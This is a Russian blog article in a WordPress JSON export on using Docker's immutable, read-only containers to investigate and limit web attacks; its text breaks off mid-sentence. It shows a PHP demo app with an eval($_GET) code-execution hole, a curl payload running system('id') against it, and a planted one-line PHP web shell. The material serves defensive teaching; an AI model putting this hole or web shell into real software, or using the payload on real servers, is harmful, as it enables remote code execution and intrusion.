{"id":282041,"date":"2016-12-06T09:20:05","date_gmt":"2016-12-06T06:20:05","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=282041"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=282041","title":{"rendered":"\u0423\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0435\u043c \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Immutable Infrastructure"},"content":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/c57\/ca4\/30f\/c57ca430f83c4ee78b04104f61a65a51.png\"\/><\/p>\n<p>\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b Docker \u0445\u043e\u0440\u043e\u0448\u0438 \u0442\u0435\u043c, \u0447\u0442\u043e \u043e\u043d\u0438 \u043d\u0435\u043c\u0443\u0442\u0430\u0431\u0435\u043b\u044c\u043d\u044b (immutable). Docker \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0442\u0438\u043f\u0430 copy-on-write, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u043e\u0431\u0440\u0430\u0437 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0432\u044b \u0441\u0430\u043c\u0438 \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u043c\u043c\u0438\u0442.<\/p>\n<p>  <\/p>\n<p>\u042d\u0442\u0430 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0433\u043e\u0434\u0438\u0442\u044c\u0441\u044f, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0445 \u0430\u0442\u0430\u043a. \u0414\u0430\u0432\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043b\u0435\u0433\u043a\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0441 \u0431\u0430\u0437\u043e\u0432\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u0434\u0435\u043b\u0430\u043d\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f.<\/p>\n<p><a name=\"habracut\"><\/a>  <\/p>\n<h4 id=\"demonstracionnoe-prilozhenie\">\u0414\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435<\/h4>\n<p>  <\/p>\n<p>\u0412\u043e\u0437\u044c\u043c\u0435\u043c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0432\u0438\u0434\u0430:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/5fd\/c07\/727\/5fdc077272ac4a99bb7c58c12a94c957.png\"\/><\/p>\n<p>\u0423 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c <a href=\"https:\/\/github.com\/diogomonica\/apachehackdemo\">PHP-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435<\/a>, \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0441 \u0433\u043e\u0432\u043e\u0440\u044f\u0449\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Front-end, \u0438 \u0431\u0430\u0437\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 MySQL \u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435. (<em>\u0420\u0435\u0434\u0430\u043a\u0446\u0438\u044f \u043d\u0435 \u043d\u0435\u0441\u0435\u0442 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0438 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u041f\u041e \u0438\u0437 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043d\u0435\u0436\u0435\u043b\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u043c. \u2014 \u041f\u0440\u0438\u043c. \u0440\u0435\u0434.<\/em>) \u0427\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043d\u0430\u0448 \u043f\u0440\u0438\u043c\u0435\u0440 \u0432 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0435: <\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">\u279c docker run -d --name db -e MYSQL_ROOT_PASSWORD=insecurepwd mariadb \u279c docker run -d -p 80:80 --link db:db diogomonica\/phphack<\/code><\/pre>\n<p>  <\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0432\u0430\u0448\u0435\u043c \u0440\u0430\u0441\u043f\u043e\u0440\u044f\u0436\u0435\u043d\u0438\u0438 \u0435\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u0431\u0430\u0437\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0430\u044f \u0447\u0430\u0441\u0442\u044c, \u0432\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u043e\u0435 \u043f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/09b\/d26\/ba6\/09bd26ba62754bc9ae05096b88476210.png\"\/><\/p>\n<p>\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043a\u0430\u043a \u0438 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0432\u0442\u043e\u0440\u043e\u043c PHP-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u043c\u0438\u0440\u0435, \u0432 \u043d\u0430\u0448\u0435\u043c \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u0434\u044b\u0440\u0430, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434:<\/p>\n<p>  <\/p>\n<pre><code class=\"php\">if($links) {   &lt;h3&gt;Links found&lt;\/h3&gt;   ...  eval($_GET['shell']);   ?&gt;<\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u043e\u0445\u043e\u0436\u0435, \u043a\u0442\u043e-\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 <code>eval<\/code> \u0432 \u043d\u0435\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435! \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430\u0448\u0435\u0439 \u0431\u0435\u0441\u043f\u0435\u0447\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434: <\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">\u279c curl -s http:\/\/localhost\/\\?shell\\=system\\(&quot;id&quot;\\)\\; | grep &quot;uid=&quot; uid=33(www-data) gid=33(www-data) groups=33(www-data) <\/code><\/pre>\n<p>  <\/p>\n<p>\u041d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0445\u0430\u043a\u0435\u0440 \u043e\u0431\u044b\u0447\u043d\u043e \u0441\u0442\u0430\u0440\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0440\u043e\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u0443\u0434\u043e\u0431\u043d\u0435\u0435: \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 PHP \u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043d\u0430\u0431\u043e\u0440\u044b \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0441\u043a\u043b\u043e\u043d\u043d\u044b \u043a \u0437\u0430\u043c\u0435\u043d\u0435 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0432\u0438\u0434\u0430 \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0432\u0430\u0448\u0435\u0433\u043e \u0441\u0430\u0439\u0442\u0430:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/f01\/492\/7de\/f014927de77640c49b7fe3f4ea03ae65.png\"\/><\/p>\n<h4 id=\"vosstanavlivaemsya-posle-ataki\">\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0430\u0442\u0430\u043a\u0438<\/h4>\n<p>  <\/p>\n<p>\u041e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u0449\u0435\u0439, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 copy-on-write, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0435\u0434\u0448\u0438\u0435 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u041a\u043e\u043c\u0430\u043d\u0434\u0430 <code>docker diff<\/code> \u043f\u043e\u043a\u0430\u0436\u0435\u0442, \u0447\u0442\u043e \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a \u0434\u0435\u043b\u0430\u043b \u0441 \u043d\u0430\u0448\u0438\u043c\u0438 \u0444\u0430\u0439\u043b\u0430\u043c\u0438:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">\u279c docker diff pensive_meitner C \/run   C \/run\/apache2   A \/run\/apache2\/apache2.pid   C \/run\/lock   C \/run\/lock\/apache2   C \/var   C \/var\/www   C \/var\/www\/html   C \/var\/www\/html\/index.html   A \/var\/www\/html\/shell.php  <\/code><\/pre>\n<p>  <\/p>\n<p>\u041e\u0447\u0435\u043d\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e! \u041e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u043b \u043d\u0430\u0448 <code>index.html<\/code>, \u043d\u043e \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 PHP, \u0437\u0430\u0431\u043e\u0442\u043b\u0438\u0432\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u0443\u044e <code>shell.php<\/code>. \u041d\u043e \u043f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043d\u0430\u0434\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u0430\u0439\u0442\u0430.<\/p>\n<p>  <\/p>\n<p>\u0414\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0445 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u043e\u0431\u0440\u0430\u0437 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 <code>docker commit<\/code>. \u0410 \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b \u043d\u0435\u043c\u0443\u0442\u0430\u0431\u0435\u043b\u044c\u043d\u044b, \u043c\u044b \u043b\u0435\u0433\u043a\u0438\u043c \u0434\u0432\u0438\u0436\u0435\u043d\u0438\u0435\u043c \u0440\u0443\u043a\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c <em>diogomonica\/phphack<\/em> \u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u043a \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">\u279c docker commit pensive_meitner sha256:ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3   \u279c docker kill pensive_meitner \u279c docker run -d -p 80:80 --link db:db diogomonica\/phphack<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/543\/949\/be2\/543949be234a46a389bd8c16d30b2b3d.png\"\/><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u043e\u0437\u044c\u043c\u0435\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0437 \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432\u043d\u0435\u0441 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">\u279c docker run -it ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3 sh # cat index.html &lt;blink&gt;HACKED BY SUPER ELITE GROUP OF HACKERS&lt;\/blink&gt;   # cat shell.php &lt;?php   eval($_GET['cmd']);   ?&gt;<\/code><\/pre>\n<p>  <\/p>\n<p>\u041a\u0430\u0436\u0435\u0442\u0441\u044f, \u043d\u0430\u0441 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u0440\u0435\u0431\u044f\u0442\u0430 \u0438\u0437 SUPER ELITE GROUP OF HACKERS.<\/p>\n<p>  <\/p>\n<h4 id=\"uvelichivaem-stoimost-ataki\">\u0423\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0435\u043c \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438<\/h4>\n<p>  <\/p>\n<p>\u0411\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u043e, \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0430\u0442\u0430\u043a\u0438, \u043d\u043e \u043a\u0430\u043a \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0441\u0430\u043c\u043e\u0433\u043e \u043d\u0430\u043f\u0430\u0434\u0435\u043d\u0438\u044f? <\/p>\n<p>  <\/p>\n<p>\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0435\u0441\u0442\u044c \u043e\u043f\u0446\u0438\u044f <code>--read-only<\/code>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 Docker \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430. \u0415\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043c\u043e\u0433\u043b\u0430 \u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e <code>index.html<\/code>, \u043d\u043e \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0432\u0430\u0436\u043d\u0435\u0435, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0431\u044b \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 \u0438\u043b\u0438 \u043b\u044e\u0431\u043e\u0439 \u0434\u0440\u0443\u0433\u043e\u0439 \u043d\u0443\u0436\u043d\u044b\u0439 \u0435\u043c\u0443 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442.<\/p>\n<p>  <\/p>\n<p>\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">\u279c docker run -p 80:80 --link db:db -v \/tmp\/apache2:\/var\/run\/apache2\/ -v \/tmp\/apache:\/var\/lock\/apache2\/ --sig-proxy=false --read-only diogomonica\/phphack ... 172.17.0.1 - - [04\/Sep\/2016:03:59:06 +0000] &quot;GET \/ HTTP\/1.1&quot; 200 219518 &quot;-&quot; &quot;Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/52.0.2743.82 Safari\/537.36 OPR\/39.0.2256.48&quot;   sh: 1: cannot create index.html: Read-only file system  <\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430\u0448\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f, \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u0430 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c <code>index.html<\/code> \u043f\u0440\u043e\u0432\u0430\u043b\u0438\u043b\u0438\u0441\u044c.<\/p>\n<p>  <\/p>\n<h4 id=\"daet-li-eto-stoprocentnuyu-garantiyu\">\u0414\u0430\u0435\u0442 \u043b\u0438 \u044d\u0442\u043e \u0441\u0442\u043e\u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u0443\u044e \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044e?<\/h4>\n<p>  <\/p>\n<p>\u041d\u0438 \u0432 \u043a\u043e\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435. \u0414\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u043c\u044b \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043c \u0438\u043c\u0435\u044e\u0449\u0443\u044e\u0441\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0441\u043c\u043e\u0433\u0443\u0442 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043d\u0430\u0448\u0435\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0443\u043a\u0440\u0430\u0441\u0442\u044c \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438\u043b\u0438 \u0441\u0442\u0430\u0449\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0431\u0430\u0437\u044b.<\/p>\n<p>  <\/p>\n<p>\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u043b\u043e\u0436\u043d\u0438\u0442\u044c \u0436\u0438\u0437\u043d\u044c \u0445\u0430\u043a\u0435\u0440\u0430\u043c, \u043f\u044b\u0442\u0430\u044e\u0449\u0438\u043c\u0441\u044f \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u043d\u0430\u0448\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Docker \u0438 <a href=\"https:\/\/hub.docker.com\/_\/alpine\/\">\u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0437\u044b<\/a> \u0434\u043b\u044f \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432.<\/p>\n<p>  <\/p>\n<h4 id=\"zaklyuchenie\">\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435<\/h4>\n<p>  <\/p>\n<p>\u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0448\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0441\u0442\u043e\u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u043e\u0439. \u041d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 Immutable infrastructure \u043c\u043e\u0436\u0435\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u043b\u043e\u0436\u043d\u0438\u0442\u044c \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0440\u0430\u0431\u043e\u0442\u0443, \u0430 \u0435\u0441\u043b\u0438 \u0432\u0437\u043b\u043e\u043c \u0432\u0441\u0435-\u0442\u0430\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442, \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0443 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0430\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0449\u0435.<\/p>\n<p>  <\/p>\n<p>\u0422\u0430\u043a \u0447\u0442\u043e \u0440\u0430\u0434\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 